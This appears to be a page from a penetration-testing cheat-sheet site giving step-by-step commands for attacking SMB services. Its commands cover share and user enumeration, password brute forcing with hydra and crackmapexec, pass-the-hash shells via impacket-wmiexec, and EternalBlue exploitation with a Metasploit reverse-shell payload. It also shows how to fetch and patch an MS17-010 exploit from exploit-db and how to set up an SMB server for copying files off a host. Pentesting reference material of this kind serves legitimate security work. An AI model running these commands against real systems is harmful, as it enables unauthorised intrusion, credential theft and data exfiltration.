Exploit Notes

SMB (Server Message Block) Pentesting

Last modified: 2023-03-04

Active Directory Windows

It allows clients, like workstations, to communicate with a server like a share directory. Samba is derived from SMB for linux. Default ports are 139, 445.


To enumerate automatically, you can use nmap.

nmap --script smb-brute -p 445 <target-ip>
nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip>
nmap --script smb-enum* -p 445 <target-ip>
nmap --script smb-protocols -p 445 <target-ip>
nmap --script smb-vuln* -p 445 <target-ip>

# Find shared folders
# -N: No password
# -L: List shared directories
smbclient -N -L <target-ip>

# Find shared folders and files
# -M: Module
crackmapexec smb <target-ip> -u username -p password -M spider_plus
cat /tmp/cme_spider_plus/<target-ip>.json

# Enumerate users and groups
impacket-lookupsid example.local/username@ -no-pass
impacket-lookupsid example.local/username@ -hashes <lmhash>:<nthash>
impacket-lookupsid example.local/username@
impacket-lookupsid example.local/guest@

If we got “STATUS_PASSWORD_MUST_CHANGE” for some users, we can update a current password to a new one.

smbpasswd -r <target-ip> -U <username>
# or
impacket-smbpasswd <DOMAIN>/<username>:<password>@<target-ip> -newpass <new-password>
# If you don't have impacket-smbpasswd, download it from a repository.
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/smbpasswd.py


Enum4linux enumerates the users, share directories, etc.

# Basic
enum4linux <target-ip>
# All enumeration
enum4linux -a <target-ip>
# Verbose
enum4linux -v <target-ip>
# Specify username and password
enum4linux -u username -p password <target-ip>


Smbmap allows users to enumerate samba share drives across an entire domain.

smbmap -H <target-ip>
# Recursive
smbmap -H <target-ip> -R
# Username and password
smbmap -u username -p password -H <target-ip>
# Execute a command
smbmap -u username -p password -H <target-ip> -x 'ipconfig'

Brute Force Credentials

hydra -l username -P passwords.txt <target-ip> smb
hydra -L usernames.txt -p password <target-ip> smb

# Brute force using a list of password hashes
crackmapexec smb <target-ip> -u <username> -H hashes.txt

If we find credentials, we can use the credentials for smbclient or WinRM.


You can use smbclient to connect the target.

# -L: List of shares available on a host
# -N: No password
# -U: Username
smbclient -L
smbclient -N -L
smbclient -N -L \\\\
smbclient -L -U username

# anonymous
smbclient // -N
# with space
smbclient "// dir" -N

# Specify shared directory
smbclient // -U username
# nobody, no-pass
smbclient // -N -U nobody

# Specify workgroup
smbclient -L -W WORKGROUP -U username

To get a Windows shell, run the following examples.

impacket-wmiexec example.local/username@
# Pass the Hash
impacket-wmiexec -hashes abcdef0123456789abcdef0123456789:c2597747aa5e43022a3a3049a3c3b09d example.local/username@

Commands in SMB

After connecting, you can find the sensitive files or information.

# List files
smb> ls

# Download a file
smb> get sample.txt
# If the filename contains spaces, it need to be enclosed in double-quotes.
smb> get "Example File.txt"

To download files recursively, run the following commands.

smb> mask ""
smb> recurse ON
smb> prompt OFF
smb> mget *

Or using smbget from local machine.
Especially, it’s useful for downloading a large file rather than “get” command in smbclient.

smbget smb://<target-ip>/somedir/example.txt -U username
smbget -R smb://<target-ip>/somedir -U username

# Specify workgroup
smbget -R smb://<target-ip>/somedir -w WORKGROUP -U username

# as anonymous user
smbget smb://<target-ip>/somedir -U anonymous
password: anonymous

EternalBlue (MS17-010)

msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set rhosts <target-ip>
msf> set lhost <local-ip>
msf> run
# If you cannot get a shell with the default payloed (windows/x64/meterpreter/reverse_tcp), try to change the payload
msf> set payload payload/generic/shell_reverse_tcp


AutoBlue is an automatic exploit.
Download the repository and run the following example command.

python zzz_exploit.py -target-ip <target-ip> -port 445 'username:password@target'

Manual Exploiting

You need to have two files - exploit.py, mysmb.py

  1. Download mysmb.py

    wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py -O mysmb.py 
    # Convert DOS to UNIX
    dos2unix mysmb.py
  2. Edit Some Lines of mysmb.py for Python3

    You need to edit some code because this exploit is old so only supports Python2.

    # transData = b''
    transData = ''
    # transData = ('\x00' * padLen) + str(parameters)
    transData = "".join(map(chr,(b'\x00' * padLen))) + str(parameters)
    # transData += ('\x00' * padLen) + data
    transData += "".join(map(chr,(b'\x00' * padLen))) + str(data)
    # req = str(pkt)
    req = pkt.getData()
    return b'\x00'*2 + pack('>H', len(req)) + req  # assume length is <6553
    # data += resp['Data'][1:]
    data += resp['Data'][1:].decode()
  3. Download exploit.py

    wget -O exploit.py https://www.exploit-db.com/exploits/42315
    # Convert DOS to UNIX
    dos2unix exploit.py
  4. Edit the Credentials in exploit.py

    username = "username"
    password = "password"
  5. Run the script

    python exploit.py <target-ip> netlogon
    python exploit.py <target-ip> lsarpc
    python exploit.py <target-ip> samr

Launch SMB Server

impacket-smbserver share . -smb2support -username user -password pass

Access from Remote Machine

net use \\<local-ip>\share /u:user pass

Transfer Files

# Remote to Local
cp .\example.txt \\<local-ip>\share\example.txt

Tools by HDKS


Automatic web fuzzer.


Auto reconnaissance CLI.

Hash Cracker

Hash identifier.